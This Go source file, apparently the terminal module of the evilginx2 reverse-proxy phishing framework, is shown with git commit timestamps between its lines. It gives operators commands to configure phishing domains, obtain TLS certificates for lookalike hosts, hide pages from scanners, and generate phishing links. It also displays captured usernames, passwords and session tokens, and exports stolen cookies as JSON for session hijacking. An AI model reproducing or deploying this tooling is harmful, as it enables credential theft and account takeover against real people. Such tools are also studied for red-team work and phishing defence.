2018-07-26 11:20:37 +02:00
package core
import (
"encoding/json"
"fmt"
"io"
"net/url"
"strconv"
"strings"
"time"
"github.com/kgretzky/evilginx2/database"
"github.com/kgretzky/evilginx2/log"
"github.com/kgretzky/evilginx2/parser"
"github.com/chzyer/readline"
"github.com/fatih/color"
)
const (
DEFAULT_PROMPT = ": "
LAYER_TOP = 1
)
type Terminal struct {
rl * readline . Instance
completer * readline . PrefixCompleter
cfg * Config
crt_db * CertDb
db * database . Database
hlp * Help
2018-09-08 13:45:17 +02:00
developer bool
2018-07-26 11:20:37 +02:00
}
2018-09-08 13:45:17 +02:00
func NewTerminal ( cfg * Config , crt_db * CertDb , db * database . Database , developer bool ) ( * Terminal , error ) {
2018-07-26 11:20:37 +02:00
var err error
t := & Terminal {
2018-09-08 13:45:17 +02:00
cfg : cfg ,
crt_db : crt_db ,
db : db ,
developer : developer ,
2018-07-26 11:20:37 +02:00
}
t . createHelp ( )
t . completer = t . hlp . GetPrefixCompleter ( LAYER_TOP )
/ *
t . completer = readline . NewPrefixCompleter (
readline . PcItem ( "server" ) ,
readline . PcItem ( "ip" ) ,
readline . PcItem ( "status" ) ,
readline . PcItem ( "phishlet" , readline . PcItem ( "show" ) , readline . PcItem ( "enable" ) , readline . PcItem ( "disable" ) , readline . PcItem ( "hostname" ) , readline . PcItem ( "url" ) ) ,
readline . PcItem ( "sessions" , readline . PcItem ( "delete" , readline . PcItem ( "all" ) ) ) ,
readline . PcItem ( "exit" ) ,
)
* /
t . rl , err = readline . NewEx ( & readline . Config {
Prompt : DEFAULT_PROMPT ,
AutoComplete : t . completer ,
InterruptPrompt : "^C" ,
EOFPrompt : "exit" ,
FuncFilterInputRune : t . filterInput ,
} )
if err != nil {
return nil , err
}
return t , nil
}
func ( t * Terminal ) Close ( ) {
t . rl . Close ( )
}
func ( t * Terminal ) output ( s string , args ... interface { } ) {
out := fmt . Sprintf ( s , args ... )
fmt . Fprintf ( color . Output , "\n%s\n\n" , out )
}
func ( t * Terminal ) DoWork ( ) {
var do_quit = false
t . checkStatus ( )
log . SetReadline ( t . rl )
t . cfg . refreshActiveHostnames ( )
t . updateCertificates ( "" )
for ! do_quit {
line , err := t . rl . Readline ( )
if err == readline . ErrInterrupt {
log . Info ( "type 'exit' in order to quit" )
continue
} else if err == io . EOF {
break
}
line = strings . TrimSpace ( line )
args , err := parser . Parse ( line )
if err != nil {
log . Error ( "syntax error: %v" , err )
}
argn := len ( args )
if argn == 0 {
t . checkStatus ( )
continue
}
cmd_ok := false
switch args [ 0 ] {
case "clear" :
cmd_ok = true
readline . ClearScreen ( color . Output )
case "config" :
cmd_ok = true
err := t . handleConfig ( args [ 1 : ] )
if err != nil {
log . Error ( "config: %v" , err )
}
case "sessions" :
cmd_ok = true
err := t . handleSessions ( args [ 1 : ] )
if err != nil {
log . Error ( "sessions: %v" , err )
}
case "phishlets" :
cmd_ok = true
err := t . handlePhishlets ( args [ 1 : ] )
if err != nil {
log . Error ( "phishlets: %v" , err )
}
case "help" :
cmd_ok = true
if len ( args ) == 2 {
if err := t . hlp . PrintBrief ( args [ 1 ] ) ; err != nil {
log . Error ( "help: %v" , err )
}
} else {
t . hlp . Print ( 0 )
}
case "q" , "quit" , "exit" :
do_quit = true
cmd_ok = true
default :
log . Error ( "unknown command: %s" , args [ 0 ] )
cmd_ok = true
}
if ! cmd_ok {
log . Error ( "invalid syntax: %s" , line )
}
t . checkStatus ( )
}
}
func ( t * Terminal ) handleConfig ( args [ ] string ) error {
pn := len ( args )
if pn == 0 {
keys := [ ] string { "domain" , "ip" , "redirect_key" , "verification_key" , "verification_token" , "redirect_url" }
vals := [ ] string { t . cfg . baseDomain , t . cfg . serverIP , t . cfg . redirectParam , t . cfg . verificationParam , t . cfg . verificationToken , t . cfg . redirectUrl }
log . Printf ( "\n%s\n" , AsRows ( keys , vals ) )
return nil
} else if pn == 2 {
switch args [ 0 ] {
case "domain" :
t . cfg . SetBaseDomain ( args [ 1 ] )
t . cfg . ResetAllSites ( )
return nil
case "ip" :
t . cfg . SetServerIP ( args [ 1 ] )
return nil
case "redirect_key" :
t . cfg . SetRedirectParam ( args [ 1 ] )
log . Warning ( "you need to regenerate your phishing urls after this change" )
return nil
case "verification_key" :
t . cfg . SetVerificationParam ( args [ 1 ] )
log . Warning ( "you need to regenerate your phishing urls after this change" )
return nil
case "verification_token" :
t . cfg . SetVerificationToken ( args [ 1 ] )
log . Warning ( "you need to regenerate your phishing urls after this change" )
return nil
case "redirect_url" :
_ , err := url . ParseRequestURI ( args [ 1 ] )
if err != nil {
return err
}
t . cfg . SetRedirectUrl ( args [ 1 ] )
return nil
}
}
return fmt . Errorf ( "invalid syntax: %s" , args )
}
func ( t * Terminal ) handleSessions ( args [ ] string ) error {
lblue := color . New ( color . FgHiBlue )
dgray := color . New ( color . FgHiBlack )
lgreen := color . New ( color . FgHiGreen )
yellow := color . New ( color . FgYellow )
lred := color . New ( color . FgHiRed )
pn := len ( args )
if pn == 0 {
cols := [ ] string { "id" , "phishlet" , "username" , "password" , "tokens" , "remote ip" , "time" }
sessions , err := t . db . ListSessions ( )
if err != nil {
return err
}
if len ( sessions ) == 0 {
log . Info ( "no saved sessions found" )
return nil
}
var rows [ ] [ ] string
for _ , s := range sessions {
tcol := dgray . Sprintf ( "none" )
if len ( s . Tokens ) > 0 {
tcol = lgreen . Sprintf ( "captured" )
}
row := [ ] string { strconv . Itoa ( s . Id ) , lred . Sprintf ( s . Phishlet ) , lblue . Sprintf ( truncateString ( s . Username , 24 ) ) , lblue . Sprintf ( truncateString ( s . Password , 24 ) ) , tcol , yellow . Sprintf ( s . RemoteAddr ) , time . Unix ( s . UpdateTime , 0 ) . Format ( "2006-01-02 15:04" ) }
rows = append ( rows , row )
}
log . Printf ( "\n%s\n" , AsTable ( cols , rows ) )
return nil
} else if pn == 1 {
id , err := strconv . Atoi ( args [ 0 ] )
if err != nil {
return err
}
sessions , err := t . db . ListSessions ( )
if err != nil {
return err
}
if len ( sessions ) == 0 {
log . Info ( "no saved sessions found" )
return nil
}
s_found := false
for _ , s := range sessions {
if s . Id == id {
s_found = true
tcol := dgray . Sprintf ( "empty" )
if len ( s . Tokens ) > 0 {
tcol = lgreen . Sprintf ( "captured" )
}
keys := [ ] string { "id" , "phishlet" , "username" , "password" , "tokens" , "landing url" , "user-agent" , "remote ip" , "create time" , "update time" }
vals := [ ] string { strconv . Itoa ( s . Id ) , lred . Sprintf ( s . Phishlet ) , lblue . Sprintf ( s . Username ) , lblue . Sprintf ( s . Password ) , tcol , yellow . Sprintf ( s . LandingURL ) , dgray . Sprintf ( s . UserAgent ) , yellow . Sprintf ( s . RemoteAddr ) , dgray . Sprintf ( time . Unix ( s . CreateTime , 0 ) . Format ( "2006-01-02 15:04" ) ) , dgray . Sprintf ( time . Unix ( s . UpdateTime , 0 ) . Format ( "2006-01-02 15:04" ) ) }
log . Printf ( "\n%s\n" , AsRows ( keys , vals ) )
if len ( s . Tokens ) > 0 {
json_tokens := t . tokensToJSON ( s . Tokens )
t . output ( "%s" , json_tokens )
}
break
}
}
if ! s_found {
return fmt . Errorf ( "id %d not found" , id )
}
return nil
} else if pn == 2 {
switch args [ 0 ] {
case "delete" :
if args [ 1 ] == "all" {
sessions , err := t . db . ListSessions ( )
if err != nil {
return err
}
if len ( sessions ) == 0 {
break
}
for _ , s := range sessions {
err = t . db . DeleteSessionById ( s . Id )
if err != nil {
log . Warning ( "delete: %v" , err )
} else {
log . Info ( "deleted session with ID: %d" , s . Id )
}
}
t . db . Flush ( )
return nil
} else {
rc := strings . Split ( args [ 1 ] , "," )
for _ , pc := range rc {
pc = strings . TrimSpace ( pc )
rd := strings . Split ( pc , "-" )
if len ( rd ) == 2 {
b_id , err := strconv . Atoi ( strings . TrimSpace ( rd [ 0 ] ) )
if err != nil {
log . Error ( "delete: %v" , err )
break
}
e_id , err := strconv . Atoi ( strings . TrimSpace ( rd [ 1 ] ) )
if err != nil {
log . Error ( "delete: %v" , err )
break
}
for i := b_id ; i <= e_id ; i ++ {
err = t . db . DeleteSessionById ( i )
if err != nil {
log . Warning ( "delete: %v" , err )
} else {
log . Info ( "deleted session with ID: %d" , i )
}
}
} else if len ( rd ) == 1 {
b_id , err := strconv . Atoi ( strings . TrimSpace ( rd [ 0 ] ) )
if err != nil {
log . Error ( "delete: %v" , err )
break
}
err = t . db . DeleteSessionById ( b_id )
if err != nil {
log . Warning ( "delete: %v" , err )
} else {
log . Info ( "deleted session with ID: %d" , b_id )
}
}
}
t . db . Flush ( )
return nil
}
}
}
return fmt . Errorf ( "invalid syntax: %s" , args )
}
func ( t * Terminal ) handlePhishlets ( args [ ] string ) error {
pn := len ( args )
if pn == 0 {
t . output ( "%s" , t . sprintPhishletStatus ( "" ) )
return nil
} else if pn == 2 {
switch args [ 0 ] {
case "enable" :
_ , err := t . cfg . GetPhishlet ( args [ 1 ] )
if err != nil {
log . Error ( "%v" , err )
break
}
domain , _ := t . cfg . GetSiteDomain ( args [ 1 ] )
if domain == "" {
return fmt . Errorf ( "you need to set hostname for phishlet '%s', first. type: phishlet hostname %s your.hostame.domain.com" , args [ 1 ] , args [ 1 ] )
}
err = t . cfg . SetSiteEnabled ( args [ 1 ] )
if err != nil {
return err
}
t . updateCertificates ( args [ 1 ] )
return nil
case "disable" :
err := t . cfg . SetSiteDisabled ( args [ 1 ] )
if err != nil {
return err
}
return nil
case "hide" :
err := t . cfg . SetSiteHidden ( args [ 1 ] , true )
if err != nil {
return err
}
return nil
case "unhide" :
err := t . cfg . SetSiteHidden ( args [ 1 ] , false )
if err != nil {
return err
}
return nil
case "get-url" :
return fmt . Errorf ( "incorrect number of arguments" )
2018-09-08 13:45:17 +02:00
case "get-hosts" :
pl , err := t . cfg . GetPhishlet ( args [ 1 ] )
if err != nil {
return err
}
bhost , ok := t . cfg . GetSiteDomain ( pl . Site )
if ! ok || len ( bhost ) == 0 {
return fmt . Errorf ( "no hostname set for phishlet '%s'" , pl . Name )
}
out := ""
hosts := pl . GetPhishHosts ( )
for n , h := range hosts {
if n > 0 {
out += "\n"
}
out += t . cfg . GetServerIP ( ) + " " + h
}
t . output ( "%s" , out )
return nil
2018-07-26 11:20:37 +02:00
}
} else if pn == 3 {
switch args [ 0 ] {
case "hostname" :
_ , err := t . cfg . GetPhishlet ( args [ 1 ] )
if err != nil {
return err
}
if ok := t . cfg . SetSiteHostname ( args [ 1 ] , args [ 2 ] ) ; ok {
t . cfg . SetSiteDisabled ( args [ 1 ] )
}
return nil
case "get-url" :
pl , err := t . cfg . GetPhishlet ( args [ 1 ] )
if err != nil {
return err
}
2018-09-08 13:45:17 +02:00
bhost , ok := t . cfg . GetSiteDomain ( pl . Site )
if ! ok || len ( bhost ) == 0 {
return fmt . Errorf ( "no hostname set for phishlet '%s'" , pl . Name )
}
2018-07-26 11:20:37 +02:00
urls , err := pl . GetLandingUrls ( args [ 2 ] )
if err != nil {
return err
}
out := ""
n := 0
yellow := color . New ( color . FgYellow )
for _ , u := range urls {
if n > 0 {
out += "\n"
}
2018-09-08 13:45:17 +02:00
out += yellow . Sprint ( u )
2018-07-26 11:20:37 +02:00
n += 1
}
t . output ( "%s" , out )
return nil
}
}
return fmt . Errorf ( "invalid syntax: %s" , args )
}
func ( t * Terminal ) createHelp ( ) {
h , _ := NewHelp ( )
h . AddCommand ( "config" , "general" , "manage general configuration" , "Shows values of all configuration variables and allows to change them." , LAYER_TOP ,
readline . PcItem ( "config" , readline . PcItem ( "domain" ) , readline . PcItem ( "ip" ) , readline . PcItem ( "redirect_key" ) , readline . PcItem ( "verification_key" ) , readline . PcItem ( "verification_token" ) , readline . PcItem ( "redirect_url" ) ) )
h . AddSubCommand ( "config" , nil , "" , "show all configuration variables" )
h . AddSubCommand ( "config" , [ ] string { "domain" } , "domain <domain>" , "set base domain for all phishlets (e.g. evilsite.com)" )
h . AddSubCommand ( "config" , [ ] string { "ip" } , "ip <ip_address>" , "set ip address of the current server" )
h . AddSubCommand ( "config" , [ ] string { "redirect_key" } , "redirect_key <name>" , "change name of the redirect parameter in phishing url (phishing urls will need to be regenerated)" )
h . AddSubCommand ( "config" , [ ] string { "verification_key" } , "verification_key <name>" , "change name of the verification parameter in phishing url (phishing urls will need to be regenerated)" )
h . AddSubCommand ( "config" , [ ] string { "verification_token" } , "verification_token <token>" , "change the value of the verification token (phishing urls will need to be regenerated)" )
h . AddSubCommand ( "config" , [ ] string { "redirect_url" } , "redirect_url <url>" , "change the url where all unauthorized requests will be redirected to (phishing urls will need to be regenerated)" )
h . AddCommand ( "phishlets" , "general" , "manage phishlets configuration" , "Shows status of all available phishlets and allows to change their parameters and enabled status." , LAYER_TOP ,
readline . PcItem ( "phishlets" , readline . PcItem ( "hostname" , readline . PcItemDynamic ( t . phishletPrefixCompleter ) ) , readline . PcItem ( "enable" , readline . PcItemDynamic ( t . phishletPrefixCompleter ) ) ,
readline . PcItem ( "disable" , readline . PcItemDynamic ( t . phishletPrefixCompleter ) ) , readline . PcItem ( "hide" , readline . PcItemDynamic ( t . phishletPrefixCompleter ) ) ,
2018-09-08 13:45:17 +02:00
readline . PcItem ( "unhide" , readline . PcItemDynamic ( t . phishletPrefixCompleter ) ) , readline . PcItem ( "get-url" , readline . PcItemDynamic ( t . phishletPrefixCompleter ) ) , readline . PcItem ( "get-hosts" , readline . PcItemDynamic ( t . phishletPrefixCompleter ) ) ) )
2018-07-26 11:20:37 +02:00
h . AddSubCommand ( "phishlets" , nil , "" , "show status of all available phishlets" )
h . AddSubCommand ( "phishlets" , [ ] string { "hostname" } , "hostname <phishlet> <hostname>" , "set hostname for given phishlet (e.g. this.is.not.a.phishing.site.evilsite.com)" )
h . AddSubCommand ( "phishlets" , [ ] string { "enable" } , "enable <phishlet>" , "enables phishlet and requests ssl/tls certificate if needed" )
h . AddSubCommand ( "phishlets" , [ ] string { "disable" } , "disable <phishlet>" , "disables phishlet" )
h . AddSubCommand ( "phishlets" , [ ] string { "hide" } , "hide <phishlet>" , "hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phishing links)" )
h . AddSubCommand ( "phishlets" , [ ] string { "unhide" } , "unhide <phishlet>" , "makes the phishing page available and reachable from the outside" )
2018-09-08 13:45:17 +02:00
h . AddSubCommand ( "phishlets" , [ ] string { "get-url" } , "get-url <phishlet> <redirect_url>" , "generates phishing url with redirection on successful authentication" )
h . AddSubCommand ( "phishlets" , [ ] string { "get-hosts" } , "get-hosts <phishlet>" , "generates entries for hosts file in order to use localhost for testing" )
2018-07-26 11:20:37 +02:00
h . AddCommand ( "sessions" , "general" , "manage sessions and captured tokens with credentials" , "Shows all captured credentials and authentication tokens. Allows to view full history of visits and delete logged sessions." , LAYER_TOP ,
readline . PcItem ( "sessions" , readline . PcItem ( "delete" , readline . PcItem ( "all" ) ) ) )
h . AddSubCommand ( "sessions" , nil , "" , "show history of all logged visits and captured credentials" )
h . AddSubCommand ( "sessions" , nil , "<id>" , "show session details, including captured authentication tokens, if available" )
h . AddSubCommand ( "sessions" , [ ] string { "delete" } , "delete <id>" , "delete logged session with <id> (ranges with separators are allowed e.g. 1-7,10-12,15-25)" )
h . AddSubCommand ( "sessions" , [ ] string { "delete" , "all" } , "delete all" , "delete all logged sessions" )
h . AddCommand ( "clear" , "general" , "clears the screen" , "Clears the screen." , LAYER_TOP ,
readline . PcItem ( "clear" ) )
t . hlp = h
}
func ( t * Terminal ) tokensToJSON ( tokens map [ string ] map [ string ] string ) string {
type Cookie struct {
Path string ` json:"path" `
Domain string ` json:"domain" `
ExpirationDate int64 ` json:"expirationDate" `
Value string ` json:"value" `
Name string ` json:"name" `
}
var cookies [ ] * Cookie
for domain , tmap := range tokens {
for k , v := range tmap {
c := & Cookie {
Path : "/" ,
Domain : domain ,
ExpirationDate : time . Now ( ) . Add ( 365 * 24 * time . Hour ) . Unix ( ) ,
Value : v ,
Name : k ,
}
cookies = append ( cookies , c )
}
}
json , _ := json . Marshal ( cookies )
return string ( json )
}
func ( t * Terminal ) checkStatus ( ) {
if t . cfg . GetBaseDomain ( ) == "" {
log . Warning ( "server domain not set! type: config domain <domain>" )
}
if t . cfg . GetServerIP ( ) == "" {
log . Warning ( "server ip not set! type: config ip <ip_address>" )
}
}
func ( t * Terminal ) updateCertificates ( site string ) {
for _ , s := range t . cfg . GetEnabledSites ( ) {
if site == "" || s == site {
pl , err := t . cfg . GetPhishlet ( s )
if err != nil {
log . Error ( "%v" , err )
continue
}
2018-09-08 13:45:17 +02:00
if t . developer {
log . Info ( "developer mode is on - will use self-signed SSL/TLS certificates for phishlet '%s'" , s )
return
2018-07-26 11:20:37 +02:00
} else {
2018-09-08 13:45:17 +02:00
log . Info ( "setting up certificates for phishlet '%s'..." , s )
err = t . crt_db . SetupCertificate ( s , pl . GetPhishHosts ( ) )
if err != nil {
log . Fatal ( "%v" , err )
t . cfg . SetSiteDisabled ( s )
} else {
log . Success ( "successfully set up SSL/TLS certificates for domains: %v" , pl . GetPhishHosts ( ) )
}
2018-07-26 11:20:37 +02:00
}
}
}
}
func ( t * Terminal ) sprintPhishletStatus ( site string ) string {
ret := ""
higreen := color . New ( color . FgHiGreen )
hired := color . New ( color . FgHiRed )
hiblue := color . New ( color . FgHiBlue )
yellow := color . New ( color . FgYellow )
hiwhite := color . New ( color . FgHiWhite )
n := 0
for s , _ := range t . cfg . phishlets {
if site == "" || s == site {
pl , err := t . cfg . GetPhishlet ( s )
if err != nil {
continue
}
status := hired . Sprint ( "disabled" )
if t . cfg . IsSiteEnabled ( s ) {
status = higreen . Sprint ( "enabled" )
}
hidden_status := higreen . Sprint ( "available" )
if t . cfg . IsSiteHidden ( s ) {
hidden_status = hired . Sprint ( "hidden" )
}
if n > 0 {
ret += "\n\n"
}
ret += " phishlet: " + hiblue . Sprint ( s ) + "\n"
ret += " author: " + hiwhite . Sprint ( pl . Author ) + "\n"
ret += " active: " + status + "\n"
ret += " status: " + hidden_status + "\n"
domain , _ := t . cfg . GetSiteDomain ( s )
ret += " hostname: " + yellow . Sprint ( domain )
n += 1
}
}
return ret
}
func ( t * Terminal ) phishletPrefixCompleter ( args string ) [ ] string {
return t . cfg . GetPhishletNames ( )
}
func ( t * Terminal ) sprintVar ( k string , v string ) string {
vc := color . New ( color . FgYellow )
return k + ": " + vc . Sprint ( v )
}
func ( t * Terminal ) filterInput ( r rune ) ( rune , bool ) {
switch r {
// block CtrlZ feature
case readline . CharCtrlZ :
return r , false
}
return r , true
}